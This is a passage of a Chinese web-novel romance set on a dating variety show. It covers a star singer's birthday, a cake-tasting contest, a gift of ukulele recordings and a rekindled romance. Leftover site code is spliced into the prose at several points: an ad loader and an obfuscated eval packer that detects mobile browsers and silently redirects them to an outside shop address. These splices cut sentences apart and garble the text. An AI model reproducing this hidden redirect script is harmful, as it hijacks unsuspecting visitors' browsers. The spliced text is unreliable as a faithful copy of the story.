当年汪乐第一次给他过生日的时候,和酒吧的富二代老板一起整了这么一出,时缈到现在都记得许钧闻一边拍打肩膀处沾上的泡沫,一边吐槽汪乐“有这个时间不如好好排练”的表情。 虽然第二年汪乐依然乐此不疲地给他准备“惊喜”,但这种所有人都躲起来只为了往许钧闻头上炸彩带和泡沫的事情反正时缈是再也没有见他做过。 没想到,六年过去了,她居然还“有幸”再次参与到这种活动当中。 这么一想,时缈感觉自己竟忽然提起了兴致。 “快快快,躲好。” 青葭扫了一眼手机,节目组工作人员给她“通风报信”:“闻哥的车已经到停车场了,大家准备好哦。” 别墅入户门被人从外面打开。 一片屋外小路灯昏黄的灯光混合着月光一起透进房间里,将地面上属于许钧闻的影子拉扯得更长。 所有人都屏息凝神地注视着地上那道影子。 只等他彻底走进屋子。 可那道影子就这么停在了别墅门口,像是被按下了静止键似的,一步都没有继续前进。 躲在黑暗中的人们你看看我、我看看你,一头雾水,不知道接下来应该怎么办。 “行了,别躲了。” 一片寂静中,一道懒散又戏谑的声音传出来:“还要跟我继续耗下去?不累吗。” “……” 空气中的尴尬几乎可以凝成实质。 兴奋地准备半天的“生日惊喜”,还没有开始,就被正主一眼勘破了。 “哈哈哈,钧闻,不要这么扫兴嘛,这可是大家准备了好久的生日惊喜哎!” 程子归率先从黑暗处走出来,将屋内的灯打开,用玩笑话帮尴尬得笑容都快维持不住的“主策划”青葭解围:“为了让你在第一时间收到大家的生日祝福,我们青葭妹妹可是做了很多安排呢。” 见别墅内灯光大亮,众人抱着各式各样的道具纷纷从黑暗的角落里走出来,许钧闻这才单手插兜,慢条斯理地走进门:“心领了,但这种‘惊喜’还是不必了。我这人对待生日倒也没有那么多仪式感。” 青葭调整了一下自己的情绪,当着摄像机和直播间观众的面,非常敬业地露出了一个甜美的笑容:“说起来也是,闻哥出道这些年好像从来没有开过生日会呢。” 对于青葭这种女团爱豆出道的艺人而言,生日会往往是回馈粉丝、提升粘性的重要时刻,为了组织生日会,她的公司每年提前三四个月就会开始做策划、定场地、选造型,不可谓不隆重。 但许钧闻,出道这么长时间,从来没有借生日或是什么出道纪念日之类的日子举办过任何类似的粉丝活动。 即便如此,放眼圈内,许钧闻的粉丝不论是战斗力还是购买力仍是数一数二的存在。 许钧闻“嗯”了声:“商业体系不一样罢了。” 这一句话,将青葭后面想说的话全部堵了回去。 「???许钧闻这是什么意思?莫名其妙朝妹宝发什么脾气呢?人家想给他过个生日还变成人家的错了?」 「某些爱豆的粉丝不要这么敏感好不好,许钧闻这话说得也没错啊,爱豆和歌手的商业体系确实不一样啊。」 「不管怎么样,当着这么多人下后辈女艺人的面子未免也太没风度了。」 「拜托,你们是第一次知道许钧闻这人遇上自己不感兴趣的事情是不会给任何人留面子的吗?不提前打听好人家的喜好就准备所谓的惊喜本来就是自我感动吧?」 时缈看了看咬着嘴唇表情有些僵硬的青葭,又看了一眼目光不着痕迹从她身上抚过去的许钧闻。 “毕竟大家这么用心的准备了,”她想了想,主动笑着打圆场,“这些小礼花和小彩带不放也有些可惜了,要不等会儿大家一起去露台上玩一下?” 其他人并没有立刻接话,而是看向了今晚最重要的主角。 许钧闻的眼神这才光明正大地停在她面上,像是思索了一下,而后点点头:“也好,这样也不算辜负大家的心意了。” “那我们就直接进入下一个环节吧,”祝意安走到客厅和厨房相连接的位置,示意许钧闻跟上,“今晚我们可是为了寿星准备了很多东西哦。” 许钧闻挑了下眉,意有所指地笑笑:“难为各位还记得我的生日,怎么,还准备了礼物?” “当然,”祝意安指了指在桌上摆成一排的四个蛋糕,“今晚,就让我们的寿星大人做评委,看看到底是哪一个蛋糕的味道最合口味吧?” 许钧闻没想到节目组居然整了这么一出。 “这都是谁做的?” “当然是出自咱们八个嘉宾之手咯,但每个蛋糕分别是谁做的现在还不能告诉你,但等下你品尝的时候可以猜一猜。” 程子归拍了拍许钧闻肩:“虽然猜对了也没什么额外的奖励。” 许钧闻偏头,看了一眼时缈。 哦。 所以这就是她口中所说的“会腻”的真正原因咯? 时缈察觉到他的目光,微不可查地耸了下肩。 本来就是啊,虽然每一个蛋糕只有六寸,不算很大,但为了“赢得”这一次的“比赛”,每个小组的蛋糕用料都非常扎实,任谁来尝一圈之后都会多多少少感觉有些腻了吧? “那么许老师,你想先从哪个蛋糕开始品尝呢?” 许钧闻走到桌前,将四个蛋糕都观察了一下,若有所思地停在其中一个的面前:“那就先从这个开始吧。” 出乎所有人的预料,许钧闻第一个选择的并不是摆在两端的蛋糕,而是从中间的位置开始尝起。 周璨隔着其他人,朝时缈这边投来了一束目光。 时缈察觉到,朝他微微笑了一下。 没错,许钧闻最先选择的就是时缈和周璨一起制作的那个蛋糕。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在正式开始制作蛋糕之前,节目组表示每组嘉宾有一个让蛋糕店专业糕点师帮忙完成一个步骤的机会。 其余几组都选择了让专业糕点师帮他们给蛋糕表面做装饰,但时缈并没有选择求助任何人,而是实打实地和周璨一起靠自己完成了这个蛋糕的全部制作。 “亲手做的蛋糕也能代表我们的心意嘛。” 面对提出是否需要找糕点师求助的周璨略有些不解的眼神,时缈粲然一笑,语气轻缓又真诚。 因此,他们的蛋糕也是四个蛋糕中唯一一个没有让蛋糕师帮忙在蛋糕顶部点缀翻糖装饰的。 「笑死,最先选了一个最朴素的。」 「这怎么不算是一种脱颖而出鹤立鸡群了?哈哈哈哈哈哈哈」 「朴素怎么了?味道好不就可以了,做得再漂亮最后不也是用来吃的吗。」 「都是第一次做蛋糕,谁能保证味道一定好吃?万一又难看又难吃怎么办?还不如一开始把造型做好看些,也能赚到一点印象分。」 虽然直播间很多网友都认为,许钧闻是被这个蛋糕“朴素”得与众不同的造型所吸引过去的,但只有他本人清楚—— 他只看了一眼,就认出来这个蛋糕是出自何人之手。 原本也很简单,即便是用巧克力酱在涂抹着奶油的蛋糕上写字,时缈的字体也依旧端正娟秀。 并且,他对于时缈的一些小习惯再熟悉不过了:“生日快乐”的“乐”字,时缈总是习惯把第一笔的“撇”写得像一笔“横”,而这个蛋糕上的“乐”字的写法正是如此。 许钧闻接过程子归递过来的塑料蛋糕刀,将写着“快乐”两个字的部分切下来,而后率先吃掉了那个“乐”字。 “味道怎么样?”程子归饶有兴致地问。 许钧闻点点头:“还不错。” 程子归继续追问,一副想看热闹的样子:“猜得出是谁做的吗?” 许钧闻端着纸盘,目光落在剩余的大半个蛋糕上:“等会多尝几口可能就能猜到了。” 「他这样说话我是真的会相信他真的猜得到……」 「一共就四组,百分之二十五的概率,蒙呗。」 「怎么会是百分之二十五,还得猜对素人嘉宾的分组才算真正猜对吧?」 「我怎么觉得这个蛋糕好像很好吃的样子?他都快把切下去的那块吃完了……」 「还有谁记得,许钧闻好像说过自己不喜欢吃蛋糕来着……??」 「呃,吃不吃蛋糕也要管?就不能是今天过生日心情好所以吃一下,又或者是因为真的饿了所以多吃两口吗?你们真的没必要把节目里嘉宾们的每句话没个动作都放大到这个地步吧?」 就在弹幕争论不休的时候,许钧闻已经将另外三个蛋糕简单品尝完毕了。 “怎么回事啊许老师?第一个蛋糕吃了那么多,剩下三个就只尝了这么一点?”祝意安开玩笑,“该不会是第一刀切多了,现在吃不下了吧?” “这几个蛋糕做得都挺好看的,留在这里感觉观众们应该会很喜欢。” 许钧闻勾了勾唇,端起自己的纸盘,将第一个品尝的蛋糕上的“生日”两个字也切下来,盛到自己碗里: “这个嘛……” “味道不错,我挺喜欢的。” 64. 64首情歌 听他大大方方地说了“喜欢”,祝意安顺势问道:“所以今天任务的‘第一名’就是这一组咯?” 谁料,许钧闻却又摇了摇头,目光在桌上几个蛋糕之间逡巡一圈,最终落在了一个点缀着唱片造型的蛋糕上:“非要要选出一个第一的话,那就选这个吧。” “哦?这是为什么?” 众人意外地看着许钧闻,不明白他选择的逻辑到底是怎么样的。 “哪有那么多为什么,难道不是我想选哪个就选哪个吗。”许钧闻挑眉。 很好,这个思路非常“许钧闻”。 “好吧,那不如你来猜猜这几个蛋糕分别是谁做的吧?” 祝意安不愧是专业主持人,即便碰上许钧闻这样不按常理出牌的嘉宾,她也依旧能面带笑容地把节目流程继续下去。 “这又没点提示,怎么猜?” 许钧闻歪了下头,看向摄影机:“我不是今天的寿星吗?怎么还设了这么多问题考我。” 「笑死,逐渐失去耐心哈哈哈哈哈哈」 「节目组:我写了那么多游戏规则,您一句话就都给我推翻了呗?」 「求节目组的心理阴影面积!」 “好好好,今天寿星说了算。” 程子归拍了拍手:“那就进行下一个环节!” 听见“下一个环节”几个字,许钧闻将纸盘放回桌上的动作微妙的停顿了一下,而后缓缓抬头看着程子归。 「许钧闻脸上就写着四个大字:怎么还有?」 「许钧闻:在节目组过生日这么麻烦的吗?」 “别担心,这次不会考你了,”程子归哈哈一笑,搂住他的肩膀,“过生日,怎么能不吹蜡烛许愿呢?” “既然今晚获得第一名的蛋糕已经选出来了,不如就把蜡烛插在那个蛋糕上吧!” 装着生日蜡烛的透明小袋恰好就在时缈手边,程子归顺口安排道:“那时缈,你来给钧闻把蜡烛插一下吧,谁那儿有打火机吗?咱们先点完蜡烛再关灯哈。” 时缈原本是打算把蜡烛递出去的,程子归那话一出,她的动作顿住,有些迟疑地看了一眼许钧闻。 “许老师,蜡烛你想要几支?” 节目组准备的是最普通的细蜡烛,并非数字蜡烛。 而不论是蛋糕的尺寸还是蜡烛的数量,都满足不了“过几岁生日就插几支蜡烛”的“仪式感”。 “就一支吧。” 许钧闻垂下眸子想了想:“好几年没吹过蜡烛许过愿了,插一支,就当是为了纪念这一年了。” 时缈点点头,挑出了一支深蓝色——许钧闻的应援色,也是他最喜欢的颜色的蜡烛,稳稳地插在了蛋糕正中央。 厨房的灯被关掉,也不只知道是谁起的调子,众人一起给许钧闻唱了首生日快乐歌。 程子归催促着许钧闻许愿:“许愿可千万不能说出来哦,说出来就不灵验了。” 时缈的眼睫微微颤了颤,忽然想起了二十岁那年,她许下的两个愿望。 一个说出口却没实现。 但另一个…… 在这样的时刻,时缈的目光终于可以肆无忌惮光明正大地落在许钧闻身上。 谢天谢地。 她的另一个愿望算是圆满地实现了,也算是没有辜负她的一腔真心和赤忱。 “没说出口的愿望,也未必就能实现。” 时缈游离的神思被许钧闻的声音拽回,只见他眼神意味深长地落在燃烧着的蜡烛上,语气淡淡。 或许别人没有察觉,时缈却偏偏在这句话中听出了几分名为“遗憾”的味道。 没头没尾地说了那样一句,许钧闻最终还是没有扫兴,从善如流地闭上眼,但短暂地让人怀疑他到底有没有在默念自己的愿望。 “好了。” 他俯身,轻轻一吹,摇曳在他和时缈之间的烛火“忽”的一下熄灭。 “许老师,这算不算是你过得最难忘的生日之一?”祝意安一边给大家分蛋糕,一边问道。 许钧闻摆摆手,拒绝了她递过来的那个点缀着唱片形装饰物的蛋糕,而是又切了一块他一开始就说“喜欢”的那个蛋糕。 将一颗差点掉下去的蓝莓送进口中后,许钧闻才慢条斯理地点点头:“可以这么说。” 说罢,他的目光落在了正在和温璐分吃一块蛋糕的时缈的身上。 “毕竟有一些难得一见的人。”他勾了勾唇。 「特别的人?谁啊谁啊谁啊!」 「还能有谁?现场的这些嘉宾呗,都是一些场面话而已,没什么好解读的。」 「低情商:不熟的人;高情商:难得一见的人。」 借着给许钧闻过生日的由头,节目组狠狠赚了一波流量后心满意足地关了直播。 忙碌了一整天的嘉宾们纷纷各自回到房间休息。 时缈洗完澡,擦着头发从浴室里出来,才发现手机上有两条未读消息。 一条来自三十分钟之前: 「许钧闻:在干嘛?」 另一条是六分钟前: 「许钧闻:?」 时缈一只手抓着裹着发尾的毛巾,另一只手单手打字回复: 「时缈:刚洗漱完。」 「时缈:你在做什么?」 许钧闻秒回: 「许钧闻:在算某些人隔了多久才回复我的消息。」 「许钧闻:整整半个小时,想好怎么赔罪了吗?如果还没想好,不如沿用以前的办法。」 时缈捏着手机的指尖紧了紧,打字时戳屏幕的力道都变大了几分。 「时缈:不可能!」 「时缈:你做梦!」 担心许钧闻会继续在这个问题上纠缠,时缈迅速转移话题: 「时缈:现在忙吗?」 「许钧闻:你找我的时候都不忙,怎么,想约我了?」 「时缈:……好好说话。」 「许钧闻:哦。请问时女士,是有什么事要找我吗?」 「时缈:我去找你。」 对话界面上显示“对方正在输入”的字样,但好一会儿时缈都没等到最新的回复。 正疑惑着,屏幕上终于出现了许钧闻的最新回复: 「许钧闻:去露台吧,我在星空房等你。」 看着许钧闻发来的地点,时缈有些犹豫。 星空房的景色虽然很好,但那毕竟是公共区域,万一被人看见…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谁在年轻又天真的年纪,没有期待过有人会用这种方式证明他对自己的爱意和真心呢? 许钧闻将她的手揣进自己的口袋:“你不是说不喜欢吗,就戒了。” “可是我看网上说,戒烟是一件很困难的事情哦?”她眨眨眼。 据说,酒精、尼古丁能够令人感到上瘾的根本原因,是它们能让人的神经系统很轻易地获取到“快乐”和“轻松”的感觉。 而一旦发现了这种轻易获得快乐的渠道,人就会很难放弃它。 许钧闻耐心地听完她的话,揉了揉她的发顶,语气听上去随意,可说出来的话却格外认真:“比起它们,我现在已经拥有更能让我感到快乐的事情了。” 时缈扬起头:“是什么啊?” 许钧闻却轻笑一声:“不告诉你。” 楼体尽头,许钧闻单手插兜倚着墙壁,手机屏幕发出的微弱光芒将他的轮廓映了出来。 听见时缈的脚步,他直起身:“怎么不打个手电筒?” 一边说着,一边走下最后几级台阶,朝她伸手:“也不怕摔着。” 时缈站在台阶上,一如过去一样抬着头看他。 她伸出手,将自己手中的盒子放在他手心。 “许钧闻。” “虽然刚才已经说过了。” “但我还是想单独和你再说一次。” “生日快乐。” 65. 65首情歌 远方的夜幕中零星点缀着几颗星星,一轮圆月遥遥注视的人间。 夏夜的风带着热意,穿过门缝探进来,又在看见里面并肩坐着的两个人后溜了出去。 时缈抱膝坐着,左边耳朵戴着一只蓝牙耳机。 肩膀相抵所带来的触感过分得明显,让她无心专注于耳机里略显生涩的吉他声。 时缈坐在宽大的懒人沙发里,原本她以为,许钧闻会坐到她身旁另一个沙发里,却没想到,他径直走到了她的面前,非要和她挤在一起。 这个音乐播放器是她送给许钧闻的礼物。 里面存着她这几年,自己尝试着用尤克里里将他所有的歌弹唱下来的录音。 原本时缈也在犹豫,既然是他的生日,自己是不是应该送一些更加贵重、更有纪念意义的礼物。 可纠结了许久,她还是选择将这个她辗转国内外这么多年都始终带在身边的东西送给他。 “里面是什么?”许钧闻挑眉。 时缈不好意思直说:“你听了就知道了。” 她原本想让许钧闻回房间后一个人自己听的,可他不肯:“今天是我的生日,难道不应该我说了算吗?” 许钧闻打开星空房的门,侧身示意时缈先进去:“进来过这里吗?” 时缈点点头。 许钧闻一愣,眯了下眼睛:“嗯?” 她指了指门口的小黑板:“两个人,男女不限。和温璐一起进来看过,就那次你要出席其他活动不在别墅的那天。” “哦。” 许钧闻凉凉地看了时缈一眼,哼笑一声:“想起来了,就去水族馆那天,月亮很圆的那天呗。” 时缈愣了一下,一时没反应过来他在说什么。 “月有阴晴圆缺,”许钧闻记得倒是无比清楚,“人啊,悲欢离合。” “时缈,你准备跟谁悲欢离合呢?” “……” 哦。 她想起来了。 是她选白景川为约会对象,两人一起去了水族馆的那天。 这醋味未免也太大了。 她接过许钧闻递过来的一只耳机,忙不迭岔开话题:“你不是要听里面的东西吗?赶紧听吧。” “不过先说好,听过之后不许笑我。”她无奈地道。 时缈并没有学过乐器,她对乐器的大部分了解和接触都是来自和许钧闻在一起的那段日子。 无课闲暇时,他在校外的那间出租屋教她弹吉他。 他的掌心贴在她手背上,耐心地带着她分辨和弦。 时缈怀里抱着他的吉他,背后靠在他胸膛上,低着头,看上去似乎是很认真地在看他的示范,但思绪很快就被耳后温热的气息攫取。 于是没过一会儿,许钧闻就发现了她泛红的耳根。 “怎么了,”他明知故问,“很热吗?” 时缈知道他故意逗自己,没好气地哼了声:“你靠太近啦,能不热嘛。” 许钧闻笑起来,震动从他的胸腔传到她的蝴蝶骨。 “不是你说要让我教你弹吉他的?” 许钧闻捏了捏她的手指:“不专心听课的学生是会受罚的。” “现在是二十一世纪了,许老师。” 时缈不服输地同他拌嘴:“已经不兴体罚学生的那一套了。” “什么叫体罚?让学生站两节课的那个叫体罚。” 许钧闻按着她的腰,不许她逃跑,凑近她耳边,柔软的唇瓣贴在她颈侧的皮肤上,激起一阵战栗。 “我明明都让你躺着的。” “许钧闻!” 时缈嗔怒地叫他的名字。 “嗯,在呢。”他捏着她的下巴,迫使她转过头来和他亲吻。 于是好端端一场1v1吉他教学,最后却无人在意那把靠在桌边立着的吉他,没教完的和弦纠缠成了忽高忽低的声调,在不为人知的角落里起起伏伏。 在一起的时候时缈没能学会吉他,但在分开的这些年里,她倒是把尤克里里弹得越发熟练。 直到她能够完整得将许钧闻所发布的第一张专辑的第一首歌弹唱下来,她出门,在偶然路过的数码店买下了这个音乐播放器,将她录下来的第一首歌导了进去。 耳机里的音乐声刚刚响起时,许钧闻颇有些意外地挑了下眉。 显然是也想起了他曾经教她弹吉他的日子。 可越往后听,许钧闻眉眼中的笑意渐渐淡去—— 他打开播放器后选择的是“顺序播放”模式,原以为收录的是生日祝福或是她平时不好意思当面说出口的话,却没想到听见了自己第一首专辑的歌。 许钧闻还以为,这是她用最近这段时间为他准备的礼物。 可听着听着,许钧闻察觉到,这个音乐播放器里的歌单,是完全按照他发布的专辑的顺序来排列的。 许钧闻低头,查看播放器的存储目录。 里面收录了他出道至今发布的所有专辑里的每一首歌。 这就意味着,时缈不仅听完了他的每一首歌,而且还都将它们弹唱并录制了下来。 这绝非是一朝一夕能够完成的事情。 所以,这大概是时缈这几年里一直在做的事情。 时缈抱着自己的膝盖,陷在懒人沙发里,不好意思去看许钧闻的表情——毕竟他在这方面是当之无愧的专家,时缈感觉自己的弹唱就是在班门弄斧。 耳机里的音乐声忽然停止,时缈有些紧张得蜷了蜷手指:“知道我弹的一般,大明星,你可不许笑话我。” “时缈。” 许钧闻的语气格外认真:“转过来看着我。” 时缈的手掌忍不住虚握成拳,仿佛这样的动作会给她带来勇气似的。 “有件事通知你一下。” 许钧闻看着她的眼睛,郑重且诚恳:“我要在这里亲你了。” “??” 时缈还没来得及做出反应,就被许钧闻托着后脑勺拥了过去。 这是他们重逢后的第三次亲吻。 第一次是在许钧闻工作室的会客厅,她带着装满他们回忆的旧手机去为他解围,那只手机暴露了她对他念念不忘的真相。 那是个完全超出他们两人预料的吻。 试探,纠缠,用尽力气去论证爱情。 第二次是在许钧闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只剩许钧闻的身影,强势、清晰、不由分说地留在这里。 是十足的占有。 不知道究竟过了多久,时缈的舌根被他重重地勾扯,微微的痛意令她忍不住低哼一声。 许钧闻这才慢慢放过她,退出几分,重新回到起初轻缓温柔的节奏里,耐心地一点一点啄吻着安抚她。 直到这个漫长又跌宕的吻结束时,许钧闻咬了一下她的下唇。 “嘶。” 时缈不满地皱眉:“许钧闻,你又咬我。” “嗯。” 许钧闻屈起两根手指,递到她唇边:“让你咬回来。” 时缈还以为他是赌她不敢,不由分说地咬住他的指节。 那双在动图中勾得无数粉丝尖叫的手指,修长、白皙、骨节分明,而现在,正陷在她的齿关,任由她留下一排浅浅的印记。 “使点劲儿。”他低声笑。 “嗯?”时缈狐疑。 许钧闻的声音听起来有几分哑,落在她耳边,像是诱哄,也像是蛊惑:“提前让你把下次的仇也一起报了。” 66. 66首情歌 第二天早上,时缈起床后,收到了节目组工作人员发来的消息,要嘉宾们用挂着节目组认证的微博号去某个热搜话题下发发微博、和官博以及网友们互动一下。 时缈点开微博,就发现工作人员所说的那条微博已经挂在了热搜榜中间偏上的位置—— #你还有什么没能实现的愿望啊# 点进去最上面的热门内容是节目组官博发布的直播切片: 许钧闻说完那句“没说出口的愿望也未必就能实现”之后,程子归一副“知心大哥”模样地问他:“难道你还有没能实现的愿望啊?” 许钧闻勾了下唇,有些无奈地笑笑:“在生活里我也就是个普通人,怎么可能事事都如愿。” “也对,人嘛,总要有些遗憾的。”程子归点点头。 许钧闻指了指面前另外两个蛋糕:“要不我再点两支蜡烛,分你两个愿望?” 程子归睁大眼睛,颇为意外:“生日愿望还能分给别人的?” 许钧闻点头:“当然,以前也有人分给我过一个愿望。” “那你那时候的愿望实现了吗?”一旁青葭有些好奇地问道。 所有人的目光都集中到了许钧闻的身上。 而他却并没有回答,只是慢条斯理地笑了下,把玩着打火机:“所以有没有人想分一个寿星的愿望?” …… 不难看出,这个热搜是节目组自己买来做宣传的。 但或许是因为这个话题比较能够引起人们的共鸣,不少网友都在词条广场里分享自己的遗憾、失落和爱而不得。 视频一边已经播完,但由于时缈没有任何动作,于是五秒之后,这条切片视频再次重播。 许钧闻的声音回荡在时缈的耳边。 她也不是没有问过许钧闻,她生日的那个晚上,他许的到底是什么愿望。 可许钧闻似乎打定了主意不肯告诉她,每次提及这件事,他都只是高深莫测地笑一笑,然后搬出那句“愿望说出来可就不灵了”来转移话题。 节目组没有规定嘉宾们的微博内容,时缈刷新了一下首页,好几个嘉宾都艾特了许钧闻的大号: 「@程子归:兄弟还有什么实现不了的愿望就跟哥说说,说不定哥就帮你实现了呢?[斜眼笑]@许钧闻@适合恋爱的夏天」 「@祝意安:祝许老师生日快乐!希望未来的生日愿望都能一一实现!@许钧闻」 「@青葭_Fungirl:虽然偶像的愿望我帮不上忙,但或许我有一个愿望偶像能帮我实现一下!下一次可以送我一张演唱会的门票嘛!@许钧闻」 甚至连素人嘉宾们也选择了带上许钧闻的名字。 「@适合恋爱的夏天_罗艺亭:许老师生日快乐!希望早点听见下一章专辑的新歌!@许钧闻」 「@适合恋爱的夏天_林问Question:@许钧闻,许老师生日快乐!」 「@适合恋爱的夏天_朱蕴:蛋糕很好吃,过程很愉快,@许钧闻,祝许老师生日快乐[蛋糕]」 …… 时缈犹豫了一下,不知道该不该像其他人一样在微博上艾特许钧闻。 如果其他人都祝他生日快乐,偏偏自己只字不提,似乎也很奇怪…… 时缈浏览了一下官博以及自己微博号的评论区,思索了一番,还是选择跟着大部队走: 「@适合恋爱的夏天_时缈:昨夜的月亮很美,星星也好看,祝许老师生日快乐~@许钧闻」 微博刚一发出,网友们就涌入了评论区。 「月亮很美,姐姐也很好看!」 「所以我真的很好奇昨天你们的蛋糕到底做得有多好吃啊!」 「节目快要结束了,不舍得,以后买票去看古典舞剧的话有机会见到时缈姐姐嘛?」 时缈挑了前排的几个网友,挨个回复了对方的评论。 指尖下拉,评论区内容刷新。 时缈被其中一条最新评论吸引了注意: 「所以,许钧闻那个别人赠送的生日愿望到底实现了吗?」 是啊。 连她自己都不知道,当年许钧闻究竟许了什么愿望,也不知道他当年的愿望如今到底实现了没有。 或许是因为每个嘉宾都艾特了许钧闻,而他没有回复任何人,时缈的胆子也大了几分,回复该网友的评论道: 「@适合恋爱的夏天_时缈:不知道。不然你还是问问许老师吧@许钧闻」 而许钧闻究竟有没有回应大家的微博,时缈没有继续关注了。 因为节目组召集大家在别墅一楼客厅集合,宣布了节目录制进入倒计时。 “亲爱的朋友们,一个月的时光即将过去,我们美好的寻找爱情之旅——” 负责为大家宣读任务卡的薛明浩顿了顿,看了看大家,然后才继续念道:“也即将画下句号,不知道大家有没有在这里遇见那个令自己心动的TA呢?” “在节目正式结束前,每个嘉宾还有一次单独约会的权利,不论是男生还是女生,都可以主动向自己心仪的对象进行邀约。但这一次……被邀约的对象,可以拒绝。” 「Vocal!最后一次约会了,居然设置了拒绝的权利!好家伙,虾仁猪心啊节目组!」 「也对,都要结束了,为什么还要继续勉强自己和不喜欢的人约会呢?当然是尽快说清楚,独自美丽咯~」 「我感觉我嗑的cp已经注定be了,唉……」 听见最后一句话,连嘉宾们也有些意外。 一直到今天之前,节目组设置的规则都是抽签结果或是他人邀约是不可以更换或是拒绝的,为的就是让大家尽可能的出去约会、相互了解。 但在这最后一次单独约会中,素人嘉宾们第一次被赋予了拒绝他人邀约的权利。 坐在时缈身旁的温璐,和她的手臂靠在一起,轻轻在桌下拍了拍时缈的手背。 “在这一次单独约会后,我们将在江城国际中心的高空餐厅中举行这一季节目的告别晚宴,期待大家的出席,祝各位,路途愉快。” 薛明浩念完最后一句,将任务卡放回桌上。 或许是听见节目即将结束,一时间,客厅中弥漫着略有些伤感的气氛。 “嗐,大家都开心一点嘛,节目结束之后还是可以约出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997495|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起玩儿的啊!”温璐挽住时缈的胳膊,笑眯眯地调动大家的情绪,“是吧时缈,该不会节目结束之后你就不和我联系了吧?嗯?” “当然不会。” 时缈笑笑,顺着温璐的话继续说:“大家反正都在江城工作,想出来聚聚总是可以找到机会的。” “不过就是以后恐怕没有再见到几位老师的机会了。” 罗艺亭看向几位明星观察员:“许老师,临走之前你可一定要给我签个名啊,我真的很喜欢你的。” 许钧闻不置可否地靠在椅背上看着她。 罗艺亭面上的笑容略微有些僵硬。 许钧闻这个眼神总让她觉得心里有些毛毛的。 “以后如果我想去看舞剧买不到票的时候,是不是可以找你帮帮忙?”白景川温和地看向时缈。 「呜呜呜,怜爱了,明知道自己没机会了但还是想和她继续保持联络!我的霸王餐cp简直是be美学!」 「这么一看,白哥好虐啊……」 「时缈要是真的不喜欢的话,不如给我吧,白景川这款真的是我的菜!」 「想得美!是我的!」 时缈点头应下:“当然可以。” 而后她看向其他人:“以后大家如果想去剧场看演出的话,都可以提前联系我,我给你们留最好的位置。” 其他人纷纷点头,却只当这是镜头前的随意寒暄——以前就对舞蹈剧目没有什么兴趣,如果不是这个节目,或许他们有些人一辈子都不会踏进江城大剧院看任何一场舞剧。 可偏偏有人在这时出声: “此话当真?” 所有人的目光都看向说话的那个人。 「拜托哈哈哈哈哈哈哈哈许钧闻你清醒一点!到底谁才是那个人脉啊哈哈哈哈哈哈哈!你想去看演出还需要托人拿票嘛?难道不是你说一句感兴趣,剧院领导就会主动把票寄给你的那种吗哈哈哈哈哈!」 「所以许哥这是开始对舞剧感兴趣了吗?」 「呃……我怎么总觉得许钧闻像是在撩时缈啊???」 「我哥本来就撩,桃花眼看狗都深情,眼神不好就去治,别看什么都像撩妹好吧?」 “那这么一说,以后我如果想去看舞剧的话,也麻烦时缈咯。” 程子归大喇喇地笑着接过了话茬:“上次的直播我老婆看了,一直说想去看现场呢,你那个剧真的很棒!现场看比镜头里震撼多了!” “没错,我也想去!”青葭举起手,可可爱爱地笑,“如果可以的话我还想把一些古典舞、中国舞和戏曲的元素融入到我们的舞台中来呢。” 许钧闻不理会其他人的话,只是保持着抱着手臂靠坐在沙发上的姿势,好整以暇地看着时缈:“以后时大编导可就是我在舞蹈圈的人脉了啊。” “许老师要是想去看剧的话,我们团长应该会非常欢迎的。” 时缈敛下眸子,圆滑地绕过这个话题。 “都是一起录过恋爱综艺的关系了,你不欢迎我们啊?”许钧闻轻笑一声,调侃道。 “当然欢迎。” 时缈直视他的眼睛:“我的荣幸。” 67. 67首情歌 或许是猜到即便来邀约时缈,她也会用体面的方式拒绝。 于是最后一天,成功配对出去约会的只有朱蕴薛明浩、罗艺亭林问两组,剩下四人齐齐留在了别墅里。 时缈睡到自然醒,摸出枕边的手机,发现许钧闻一小时前发来的消息。 「许钧闻:去录制了。」 「许钧闻:还在睡?」 「许钧闻:醒了记得下楼吃早餐。」 尽管只有两组素人嘉宾出门约会,观察团的成员还是要齐聚别墅楼上的会客厅观看两组的约会直播。 也就是说,许钧闻已经出门上工了,而时缈还在美美睡觉。 呜呼。 突然觉得有点小爽了呢。 洗漱完毕下了楼,果然一楼的餐厅给他们留了不少吃的。 “醒了?” 温璐朝她招招手:“快来吃饭。” 时缈走到咖啡机前给自己煮咖啡:“你昨晚睡那么晚,今天早上还能起这么早?” “嗐,律师是没有下班时间的,”温璐摆摆手,叹了口气,“别说了,昨晚改材料改得我眼睛都快瞎了,今天一大早又要和客户开线上会,怕打扰你,我闹钟响得第一声就弹射起来把它关掉了。” “就这样,还是因为我的客户也看过节目直播,知道我在录节目,所以才贴心地把线下会面改成线上会议的呢。” 说着,温璐做了个双手合十的动作:“感谢客户体谅。” 时缈被她逗得直乐:“你的客户见过你现在这一面吗?” “之前没有,我每次去上班都打扮得可职业范儿了,看上去就是那种冷酷无情、很专业的样子。现在好啦,大家都知道我是个被过山车吓哭了的胆小鬼了。” 温璐呵呵一声。 之前节目组安排嘉宾们在游乐场做任务赚积分的时候,温璐远远看着过山车就发怵,但又不想当着镜头的面承认,硬着头皮坐了上去。 谁料竟在半途中直接哭了出来。 